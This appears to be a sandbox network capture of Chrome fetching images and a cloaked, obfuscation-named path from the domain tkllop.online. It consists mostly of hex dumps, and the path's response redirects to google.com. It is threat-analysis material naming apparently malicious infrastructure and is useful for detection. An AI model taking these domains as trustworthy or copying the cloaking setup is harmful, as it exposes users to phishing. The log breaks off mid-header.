2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 25 37 4c a4 11 2a b1 7f 22 d2 11 bf 3d ba 42 2a 2e e0 df ea d4 00 f7 69 ff cf 55 09 93 13 80 b5 10 80 1c fe ff ab 56 5a 51 19 28 be ac 75 20 f6 4e c1 64 df f0 96 fa a0 7b 0d bf 80 68 55 15 40 08 51 6f cd 4c a2 31 13 00 90 5b 36 44 53 21 ab 64 d8 ef 55 61 66 a2 07 49 43 84 54 84 11 a0 a8 6f a2 68 a4 ba 0b b0 46 12 e1 ad 90 6e 10 5c 14 f5 ad a5 ff 36 32 f7 52 dc f6 f7 e5 8c b8 fd ff 23 d9 5d e4 ef 94 0f 01 ff dd 2f 63 76 b2 f4 00 70 e7 2a 92 81 fc 59 f8 9f a7 f1 69 3c 89 67 e1 7f 33 bf c0 c2 5b 2d 18 04 5f 90 e6 5e 42 0f 25 45 14 02 85 98 6f d1 4a 01 54 94 3e 67 a2 39 c8 c9 9a cf dd 4b b6 6c d9 b2 65 cb 96 2d bf 80 30 ff 8d e5 90 11 80 2e 61 24 ca 14 ed ff d2 f8 6f a7 59 3a 00 24 02 2d 8f ca b2 9b 11 1a f8 4d 8c c2 70 b0 5d 75 72 72 32 a6 9b 41 24 03 ba 31 Data Ascii: %7L"=B.iUVZQ(u Nd{hU@QoL1[6DS!dUafICTohFn\62R#]/cvp*Yi<g3[-_^B%EoJT>g9Kle-0.a$oY:$-Mp]urr2A$1
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 01 ee 2c 50 e4 ad 8f 4e 0a 9c 2a 87 c6 08 74 08 8c 30 c2 80 e4 62 85 83 c0 bc 1d 33 ee 87 93 3d c0 6c d9 b2 65 cb 96 2d 5b 7e 2a e1 ed e1 cb ab d7 45 e3 8b 48 2a 6b 8b ce 73 35 11 b3 2d f5 1f 40 4e 90 fb 04 f8 4a 74 8c 75 ea 22 1e e2 2d f6 85 9f 9f 5d f0 b4 00 7b 90 0b 8e a7 dd d9 9d 48 07 83 34 e4 14 68 cf 3c 48 53 35 a7 dc a7 95 bf e5 1f 6b e5 cd bb df e5 76 50 98 81 ea 5d bd b1 b4 ca 96 60 33 8e 8f dc dc 34 51 f8 ca 47 80 83 9e 26 22 ce 7e 84 d1 bb 33 b7 5f d3 ba b1 e4 97 77 06 ee 9b f6 a5 2a 5c e5 8d 38 eb 7e 9c 24 d0 a8 8d 51 fd 75 8f 66 e0 41 af 57 67 09 a2 34 cb a5 e3 f6 7e 70 93 9d 55 38 58 09 cc 1d 72 cb bf 50 36 fe ff 87 64 1e 29 ef 87 a0 7b 66 a0 28 4d 4f c2 71 b8 c7 38 35 f8 66 7e e6 a1 fe 9e fe 69 7c 9a 3d 0d df 4e fb 96 14 c0 d7 d3 f1 bf bb Data Ascii: ,PNt0b3=le-[~EHks5-@NJtu"-]{H4h<HS5kvP]`34QG&"~3_w\8~$QufAWg4~pU8XrP6d){f(MOq85f~i\|=N
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 76 25 f0 15 fe 9a 91 0b b9 c4 32 34 9a d8 d4 43 a3 c6 33 8c 41 ab 2f 8c 7c 35 72 a4 48 0a 21 62 47 c0 6a d9 6a 8d d6 d6 e3 b3 13 0a aa d1 1c a3 35 06 42 18 70 be a8 94 5c ac 11 fb 1a 08 45 54 82 4b 98 19 22 11 11 39 54 44 c2 9f 57 e2 52 81 10 32 9b f7 23 0a 44 f0 4a 12 e0 ff 17 7b 83 07 61 f3 09 d9 d1 0d 3e 94 8d ff ff 7e f9 e8 85 9a de b8 e1 f3 ef ac 6e 82 7f c7 ff 0e fe 1d ff b7 d5 fe e5 ea 1f 96 ff 3f 9f e7 57 c3 d7 d3 dc 0b e0 eb c9 af 19 fc ff 69 34 e3 39 02 a1 42 01 89 80 ff 22 a0 8a 9e e1 65 50 d1 fe c7 72 b2 1c d8 3b 99 26 a0 6f 24 8b fb 57 71 bf 71 5b b6 6c d9 b2 65 cb 2f 25 9f 41 03 63 ed f5 af 29 a3 8c 42 f7 e4 47 ae 24 4f 93 bc 28 c4 54 c4 02 33 1f 6a 76 1c 24 8f e3 80 08 cc 70 12 42 9c 22 62 22 74 4f 80 5a ba 1d c9 0b 00 1d 2e fd 22 a2 50 1d Data Ascii: v%24C3A/\|5rH!bGjj5Bp\ETK"9TDWR2#DJ{a>~n?Wi49B"ePr;&o$Wqq[le/%Ac)BG$O(T3jv$pB"b"tOZ."P
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 81 f7 84 ff c8 16 4a 32 60 50 00 b4 a6 99 0b 8a 23 18 6d 3a 7a 81 08 04 95 b7 c9 4e 5f b7 df b9 00 5c 08 80 5a 01 90 3e 11 ad ec 23 d9 c6 3f 48 ab cd a8 7e 8f d8 1d 55 52 c4 14 44 44 21 19 47 c1 f9 85 a3 73 2e f5 6f b4 74 31 02 d5 e2 69 fb ff e5 60 f3 60 63 e6 9c bf 5f 96 5f b1 a4 ff 1d d9 f8 ff af c8 67 67 c1 01 fe 6b e1 0f 61 b9 96 ca c2 fd 89 24 9f 19 f0 cf dd fe 9f 01 e6 23 92 ff d7 93 df cc fe 7c 0e 57 ff 3f 9f f6 e7 c9 ff 3c ed ab 83 7f 8f ff 7f d2 59 03 f7 26 c8 e5 6d 50 c5 11 23 13 4f 4a 70 8b 6d 14 d2 ee 02 17 91 02 6a 3a 81 e6 85 35 94 ec 57 6a cb 96 2d 5b b6 6c f9 fd e4 33 c8 ff 97 e4 02 5a 9e 25 97 41 17 3e 73 4b ad 9a 26 f2 57 82 0f 40 00 f5 f5 92 e6 f1 f0 f5 3c 1d a2 a9 83 ef 8c 64 57 38 13 11 f2 ad f0 be 43 e4 81 15 cb eb bc 18 02 39 d2 76 Data Ascii: J2`P#m:zN_\Z>#?H~URDD!Gs.ot1i``c__ggka$#\|W?<Y&mP#OJpmj:5Wj-[l3Z%A>sK&W@<dW8C9v
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: f7 eb f8 ac 85 cc 7f 31 bf 7f 4d af 18 b8 b6 9f cd d2 34 98 2a be 5d 9f 05 0b 20 a0 88 98 51 e8 a1 d9 7d d3 3c d5 30 50 87 a3 78 2f 5d b3 0d fb a1 a6 65 be 7e 1b e7 1b 74 4b d6 44 7c f9 b7 43 b7 a6 76 f8 c9 58 3a ef ee 00 89 55 87 b2 26 e8 9a 0a 1b 40 cf 1c 64 75 a4 45 2a 8b 51 c0 dc 8d 48 18 71 f5 27 e4 3c 23 e2 56 6f 9a ac c7 d5 f2 ef 5f ca 0a 2e 49 37 10 22 3d f2 00 12 ff 4b 20 7a 99 5a 3e 8e e2 a2 52 6a c6 5a 80 50 80 6d 98 bb 26 ce aa 99 e1 7d 39 40 d6 1c da e6 0d 93 64 61 23 db cd 0b 40 66 ce 05 42 0f b0 08 81 fa 7f 45 eb f4 ce 41 e3 84 fc 8b 8f 11 eb 6d d1 0c 63 be 6d a3 a7 9c 7c 52 06 74 1c 35 1d 8a bd 5b 39 38 38 0c 01 69 80 58 18 e7 d0 ba c7 3f 24 1f 8e 0f eb 50 40 c2 39 8f 79 ac 58 b4 9a ce 02 dc 01 fe 1f 54 cb ff 85 b2 f1 ff 27 e5 93 c8 7f 1d Data Ascii: 1M4] Q}<0Px/]e~tKD\|CvX:U&@duEQHq'<#Vo_.I7"=K zZ>RjZPm&}9@da#@fBEAmcm\|Rt5[988iX?$P@9yXT'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49759	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:14 UTC	646	OUT	GET /static/media/person_workshcool.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:15 UTC	1039	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:15 GMT Content-Type: image/png Content-Length: 5421 Connection: close Content-Disposition: inline; filename="person_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:29:02 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yFJOAdlpy62U9uaU8A2SdiLGwQ3Lb%2Fu3JjbZ5JMDMEuXBAn2CBrHZMxFIiPrZ7czgwTULKa7AehXK6DU6wir5yufhtsKD3gd4z7vLazg7pWsiV5DQ4c83YzAUuKM0Jj9s8qmsD1cBcIMNv7i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e3a9c664779-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1224&delivery_rate=1638009&cwnd=251&unsent_bytes=0&cid=8d3f4307da9821a5&ts=283&x=0"
2024-10-29 09:47:15 UTC	330	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 79 49 44 41 54 78 9c ed 9d 7f 70 55 e5 99 c7 bf cf 7b f3 4b b1 e1 47 30 39 e7 92 40 90 09 dd 2e a2 19 50 28 62 86 19 5b 7e d8 66 97 71 00 b7 2d 54 94 15 ec ba 95 da d2 15 4b 6d c5 ba 0b 4a c1 ca 6e b5 42 0b d2 6a 15 0b bb 2a 22 ab 66 14 84 22 a6 1b 31 36 38 ea d0 92 00 b9 f7 9c 7b 6b 08 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-yIDATxpU{KG09@.P(b[~fq-TKmJnBj*"f"168{k
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 76 00 0c a0 49 d7 f5 26 21 44 13 80 26 00 c7 99 b9 21 10 08 34 30 f3 31 49 92 8e 13 11 3b fb 9d 79 03 72 5b 80 13 30 33 a9 aa fa 25 66 9e 06 e0 3a 00 d7 00 b8 1a 40 be cd 43 b7 30 73 1d 11 d5 01 a8 21 a2 77 24 49 fa 38 1d cc 96 b2 c6 6a 6c 6c 2c 13 42 dc 0c 60 26 80 1b 00 8c 70 59 12 00 80 99 9b 84 10 ef 30 73 95 a6 69 ff 5b 52 52 f2 17 b7 35 d9 41 ca 18 8b 99 29 1c 0e df 20 84 58 c0 cc 95 00 c6 b9 ad 29 16 88 e8 2f cc bc 9b 99 77 04 83 c1 43 a9 12 cd 7c 6f ac 48 24 32 51 d3 b4 3b 98 79 3e 11 95 b8 ad 27 49 4e 00 d8 21 84 d8 26 49 d2 11 b7 c5 24 83 2f 8d a5 aa ea 10 4d d3 fe 89 99 97 0a 21 be ec b6 1e 3b 20 a2 43 ba ae ff 9a 88 5e 08 06 83 67 dd d6 13 2f be 32 96 aa aa 85 9a a6 dd 0d e0 bb 44 54 e0 b6 1e 87 68 21 a2 6d 9d 9d 9d eb 4a 4a 4a 42 6e 8b 89 15 Data Ascii: vI&!D&!401I;yr[03%f:@C0s!w$I8jll,B`&pY0si[RR5A) X)/wC\|oH$2Q;y>'IN!&I$/M!; C^g/2DTh!mJJJBn
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 3a 66 cc 98 91 90 2e 21 04 0a 0a 0a 50 54 54 94 d0 f3 0e 71 3e 2b 2b ab b4 b0 b0 50 35 6a 34 35 96 a2 28 6b 98 f9 47 f6 e9 4a 9c a3 47 8f 62 cb 96 2d 38 71 e2 84 db 52 6c 65 cc 98 31 58 b2 64 09 ca ca 12 7a 0f ec 04 0f 07 83 c1 9f 1a 35 18 1a 4b 55 d5 21 ba ae 9f 80 47 8e 09 e9 cd d1 a3 47 f1 f0 c3 0f a3 b3 b3 d3 6d 29 8e 90 9d 9d 8d 07 1e 78 c0 93 e6 62 e6 26 22 1a 6d 54 87 de 70 8e a5 eb fa 37 e0 41 53 01 c0 96 2d 5b d2 c6 54 c0 85 5f 26 b6 6e dd ea b6 0c 43 88 a8 80 88 16 18 b5 99 4d de 97 da a8 27 61 22 91 48 ca 7f fc 19 71 fc f8 71 44 a3 51 b7 65 98 71 a7 d1 c5 7e c6 8a 44 22 13 01 4c b5 5d 4e 02 38 b1 b3 c6 ab 9c 3a 75 ca 6d 09 86 30 f3 8d 8a a2 fc 7d df eb fd 8c a5 69 da ed 8e 28 4a 80 44 7f fb 4b 05 3c fe bd f7 db a4 79 49 75 dd ae 62 1e f3 9d d3 Data Ascii: :f.!PTTq>++P5j45(kGJGb-8qRle1Xdz5KU!GGm)xb&"mTp7AS-[T_&nCM'a"HqqDQeq~D"L]N8:um0}i(JDK<yIub
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 3e 1c 53 05 bf 5d bb 76 e1 f0 e1 c3 86 6d 13 26 4c 48 e7 3c ad 7a 21 84 f8 ab db 2a dc 62 d6 ac 59 a6 6d cf 3f ff 3c 36 6f de 6c 58 93 b4 a5 a5 05 9b 36 6d c2 f6 ed db 13 ea 3b d5 d1 34 ed 58 96 24 49 c7 15 45 69 41 1a ee 2d 2c 2f 2f 47 59 59 19 8e 1e 3d 6a d8 be 6f df 3e 1c 3c 78 10 13 26 4c 40 30 18 04 00 84 c3 61 7c f8 e1 87 e8 e8 e8 30 ed b7 ac ac 0c e5 e5 e5 b6 68 f6 01 cd c5 c5 c5 8d 82 88 98 99 eb dc 56 e3 16 77 de 79 a7 e9 72 01 70 a1 6c 51 6d 6d 2d f6 ec d9 83 3d 7b f6 a0 b6 b6 76 40 53 65 67 67 e3 8e 3b ee b0 43 aa 5f f8 33 70 b1 76 c3 9f dd d5 e2 1e 25 25 25 b8 ed b6 db 2c eb 6f f1 e2 c5 28 2d 2d b5 ac 3f bf 41 44 75 c0 c5 6a 33 ef b9 a8 c5 55 3e fa e8 23 4b 4b 6d ef da b5 0b 75 75 69 fb 01 00 5d d7 0f 03 17 0f 10 30 3e 74 2f 85 d1 75 1d cf 3c Data Ascii: >S]vm&LH<z!*bYm?<6olX6m;4X$IEiA-,//GYY=jo><x&L@0a\|0hVwyrplQmm-={v@Segg;C_3pv%%%,o(--?ADuj3U>#KKmuui]0>t/u<
2024-10-29 09:47:15 UTC	984	IN	Data Raw: 9b 91 f0 0e 55 59 96 7f 47 44 bf 49 f4 f9 44 30 ab 19 9a 0e b8 f0 bd 3f 15 0c 06 9f 4b f4 e1 a4 b6 3e 7f fe f9 e7 df 05 f0 7f c9 f4 11 0f 85 85 85 20 22 a7 86 f3 0c 44 e4 74 96 44 75 6b 6b eb bd c9 74 90 94 b1 ca ca ca ce 03 98 0f c0 f8 50 1a 8b 19 3a 74 68 52 9b 4a fd ca 75 d7 5d 67 7a 18 94 0d 44 74 5d 9f df f5 b3 4d 98 a4 8b 35 04 83 c1 13 44 54 09 c0 91 33 6b 97 2c 59 62 6b ae ba d7 28 2a 2a 72 ac f4 24 33 9f 63 e6 5b ba de 0f 27 85 65 9f 2b 8a a2 cc 63 e6 3f c0 02 b3 0e 46 6b 6b 2b 5e 7c f1 45 54 57 57 e3 d4 a9 53 a6 c5 38 fc 0a 11 a1 a0 a0 00 53 a6 4c c1 2d b7 dc 62 ba 6d df 62 74 22 5a 20 cb f2 ff 58 d1 99 a5 13 96 70 38 7c 2f 80 5f 58 d9 67 06 67 60 e6 7b 46 8d 1a f5 4b ab fa b3 34 ba 04 83 c1 c7 89 68 b5 95 7d 66 b0 1f 22 7a c0 4a 53 01 16 47 ac Data Ascii: UYGDID0?K> "DtDukktP:thRJu]gzDt]M5DT3k,Ybk(**r$3c['e+c?Fkk+^\|ETWWS8SL-bmbt"Z Xp8\|/_Xgg`{FK4h}f"zJSG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49761	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:14 UTC	642	OUT	GET /static/media/person_office.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:15 UTC	1043	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:15 GMT Content-Type: image/png Content-Length: 6045 Connection: close Content-Disposition: inline; filename="person_office.png" Last-Modified: Sat, 04 Nov 2023 15:29:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1kaTujsV9WfpBkkotX5z%2FC9V%2BCADlpH8w8N89VkPjLtsgmQq1uX9W8%2FuP%2Bd5r%2BrEq096iDMToMuxOnVmMsvic97InDah8bkZc9Yi1gX9qcfmvYcVJVkOo9jMR5NS0TyxOi73wqqLldBrum3d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e3a9bd0464a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1220&delivery_rate=1685681&cwnd=252&unsent_bytes=0&cid=05b22f16f5648ede&ts=302&x=0"
2024-10-29 09:47:15 UTC	326	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 16 e9 49 44 41 54 78 9c ed 9d 7b 74 54 d5 bd c7 bf bf 33 03 89 49 44 34 24 99 39 93 40 80 46 0c 5c b4 70 91 a7 14 17 82 17 2c 95 a5 20 74 15 14 94 8b 14 6a 97 0f 2a 0f 91 96 b6 5c 50 5b 7b bd 5e e9 03 85 42 d4 bb 14 84 5e 29 f5 5a b0 0a 28 20 a8 08 84 08 88 26 3c 32 e7 cc 04 52 5e 49 20 24 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{tT3ID4$9@F\p, tj*\P[{^B^)Z( &<2R^I $
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 80 4b 00 18 40 b9 aa aa e5 82 20 94 03 28 07 70 8c 99 8f 7a 3c 9e a3 cc 5c ec f3 f9 8e 11 11 5b fb 93 39 03 b2 5b 80 15 30 33 85 42 a1 7c 66 1e 04 a0 1f 80 5b 01 fc 0b 80 0e 26 0f 7d 8e 99 0b 89 a8 10 c0 e7 44 b4 c3 e7 f3 1d 6a 0b c6 16 b7 86 55 5a 5a 9a 27 08 c2 68 00 23 01 0c 06 70 93 cd 92 00 00 cc 5c 2e 08 c2 0e 66 de ac 28 ca ff e5 e4 e4 7c 63 b7 26 33 88 1b c3 62 66 92 24 69 b0 20 08 0f 30 f3 18 00 dd ed d6 14 09 44 f4 0d 33 6f 64 e6 b5 a2 28 ee 8c 97 bb 99 eb 0d 2b 1c 0e f7 56 14 e5 61 66 1e 4f 44 39 76 eb 89 91 e3 00 d6 0a 82 b0 ca e7 f3 1d b0 5b 4c 2c b8 d2 b0 42 a1 50 aa a2 28 13 99 79 ba 20 08 03 ed d6 63 06 44 b4 53 55 d5 57 89 e8 6d 51 14 ab ec d6 13 2d ae 32 ac 50 28 94 a9 28 ca 2c 00 8f 11 51 ba dd 7a 2c e2 1c 11 ad aa ad ad 7d 21 27 27 27 Data Ascii: K@ (pz<\[9[03B\|f[&}DjUZZ'h#p\.f(\|c&3bf$i 0D3od(+VafOD9v[L,BP(y cDSUWmQ-2P((,Qz,}!'''
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 39 f9 f2 af e1 e2 c5 8b 38 79 f2 24 64 59 46 38 1c 8e b8 af dc dc 5c 3c fd f4 d3 b8 f1 c6 1b a3 d6 ee 50 aa bd 5e 6f 6e 66 66 66 48 ab 52 d7 b0 64 59 5e c2 cc f3 cd d3 65 1d e5 e5 e5 58 bc 78 71 8b 86 40 44 e8 d9 b3 27 fa f7 ef 8f fe fd fb e3 86 1b 6e 68 b1 df fd fb f7 63 c7 8e 1d 28 2a 2a 6a 51 87 cf e7 c3 b3 cf 3e 8b 9b 6e 72 c4 21 19 46 f0 6b 51 14 7f ae 55 a1 69 58 a1 50 28 55 55 d5 e3 70 c8 31 21 b1 50 51 51 81 45 8b 16 41 92 24 dd 36 44 84 7e fd fa 61 dc b8 71 e8 dc b9 73 ab c6 39 76 ec 18 36 6c d8 d0 e2 63 36 10 08 60 d1 a2 45 48 4d 4d 6d b6 9d 1b 60 e6 72 22 ea ac 95 87 5e d3 b0 24 49 9a 06 e0 35 d3 95 99 8c a2 28 58 b2 64 09 0e 1e 3c a8 db 26 23 23 03 b3 66 cd 42 8f 1e 3d 0c 19 b3 b0 b0 10 2b 57 ae 6c f6 ee d8 ab 57 2f cc 9f 3f 1f 82 e0 fe b8 13 Data Ascii: 98y$dYF8\<P^onfffHRdY^eXxq@D'nhc(**jQ>nr!FkQUiXP(UUp1!PQQEA$6D~aqs9v6lc6`EHMMm`r"^$I5(Xd<&##fB=+WlW/?
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 56 af 5e ad bb 6f 67 04 cc 8c 95 2b 57 e2 e3 8f 3f d6 ac 6f df be 3d a6 4d 8b 9b d4 63 8d 49 8a 9f 57 91 46 88 a2 88 89 13 27 ea d6 6f da b4 09 2f bf fc 32 2e 5c b8 60 f8 d8 55 55 55 78 f1 c5 17 f1 e1 87 1f ea b6 99 38 71 22 7c 3e 9f e1 63 3b 05 81 99 9d b3 f5 6f 30 f7 dc 73 0f fa f5 d3 3f f5 6e f7 ee dd 78 e6 99 67 9a 4d 1c 12 2d 45 45 45 58 b0 60 81 6e b4 10 00 f4 ef df 1f a3 46 8d 32 6c 4c 07 52 4d 92 24 9d 01 d0 7c 86 31 17 53 5d 5d 8d c5 8b 17 37 1b 05 43 44 18 30 60 00 ee bf ff 7e 64 67 67 b7 6a 9c d2 d2 52 ac 59 b3 06 9f 7f fe 79 b3 ed f2 f2 f2 b0 60 c1 82 78 4b 1b d9 98 d3 24 49 52 18 97 4f d5 8c 5b ce 9f 3f 8f a5 4b 97 b6 b8 19 5d 9f d1 ef 8e 3b ee c0 6d b7 dd d6 e2 e1 00 e5 e5 e5 28 2c 2c c4 96 2d 5b 22 8a b2 e9 d6 ad 1b e6 cf 9f ef 28 8f 56 93 Data Ascii: V^og+W?o=McIWF'o/2.\`UUUx8q"\|>c;o0s?nxgM-EEEX`nF2lLRM$\|1S]]7CD0`~dggjRYy`xK$IRO[?K];m(,,-["(V
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 12 9f cf 77 4d 78 52 e3 f3 0a 19 c0 3b 96 4a 8a 12 bd 85 d0 9c 9c 1c dd 14 46 6e 60 e0 c0 81 ba 6f 89 9b 36 6d b2 58 4d 74 10 d1 db 75 b6 d3 40 93 8d 29 41 10 56 59 a6 28 4a ce 9c 39 a3 9b f6 71 ec d8 b1 96 1c c7 6b 16 82 20 e0 de 7b ef d5 ac 2b 2c 2c c4 d9 b3 67 2d 56 14 15 05 8d 0b 9a 18 96 cf e7 3b a0 aa aa 23 67 8c bb 76 ed d2 7c 4b ba e1 86 1b 5c 7d b7 aa 67 d0 a0 41 9a a7 94 29 8a 82 5d bb 76 d9 a0 28 22 3e f6 fb fd 4d 62 ea 34 b7 d2 89 e8 55 f3 f5 44 8f 5e d8 fa 90 21 43 e2 22 b4 ca eb f5 62 d0 a0 41 9a 75 7b f7 ee b5 58 4d 64 10 d1 0a ad 72 3d c3 7a 0b 80 a3 4e 0d aa a9 a9 d1 4d 0c ab f7 c7 70 23 83 07 6b 9f 97 75 f0 e0 41 27 1e 8b 72 4a 6f 25 41 d3 b0 44 51 ac 02 f0 07 53 25 45 49 71 71 b1 e6 d1 25 a9 a9 a9 ba 47 b5 b9 91 ee dd bb 23 25 25 a5 49 Data Ascii: wMxR;JFn`o6mXMtu@)AVY(J9qk {+,,g-V;#gv\|K\}gA)]v(">Mb4UD^!C"bAu{XMdr=zNMp#kuA'rJo%ADQS%EIqq%G#%%I
2024-10-29 09:47:15 UTC	243	IN	Data Raw: 09 80 d7 98 79 ad 13 e7 50 2d e1 4a c3 ba 1a 59 96 f3 01 4c 65 e6 09 00 72 6d 96 13 2b 25 44 f4 36 33 af 16 45 d1 5d c7 ab 36 c2 f5 86 55 0f 33 53 38 1c ee af aa ea 04 00 63 00 dc 6c b7 a6 48 60 e6 c3 44 b4 51 10 84 35 56 6e 12 9b 4d dc 18 56 63 c2 e1 70 37 55 55 47 01 18 c9 cc 43 e0 1c 77 9d 32 00 db 89 68 33 11 bd ef f3 f9 4a ec 16 64 06 71 6b 58 8d 09 06 83 3d 00 0c 26 a2 7e 00 7a d7 fd d3 3e d6 d4 38 ce 00 d8 0f e0 00 33 7f 0e 60 87 53 56 c6 cd a6 cd 18 96 16 c1 60 30 47 10 84 6e 00 72 55 55 ed 4a 44 5d 88 28 9d 99 d3 99 39 9d 88 d2 01 78 00 b4 03 90 56 77 59 05 80 1a 00 0a 33 97 13 51 39 11 95 33 73 39 33 1f 13 04 a1 04 40 89 a2 28 c5 46 44 14 bb 95 ff 07 8e 4e 4a ac 93 a5 90 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: yP-JYLerm+%D63E]6U3S8clH`DQ5VnMVcp7UUGCw2h3JdqkX=&~z>83`SV`0GnrUUJD](9xVwY3Q93s93@(FDNJIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49766	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:15 UTC	371	OUT	GET /obufsssssssscaaatoion/ HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:15 UTC	942	IN	HTTP/1.1 302 Found Date: Tue, 29 Oct 2024 09:47:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hdF4M%2FHn3Bu9kq2zlzXd%2FQxXDUDH0GmTP7S39EopTRqqOB42Rsz0bfTVfjt0GY4rNJoZE9Gr63QAwJGdKw1L0MOq%2B262%2BZOSTOB0AXK7fz28hU0ELwpb3%2FVVE7smP2JzawjUfCFFZX7ctYcg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 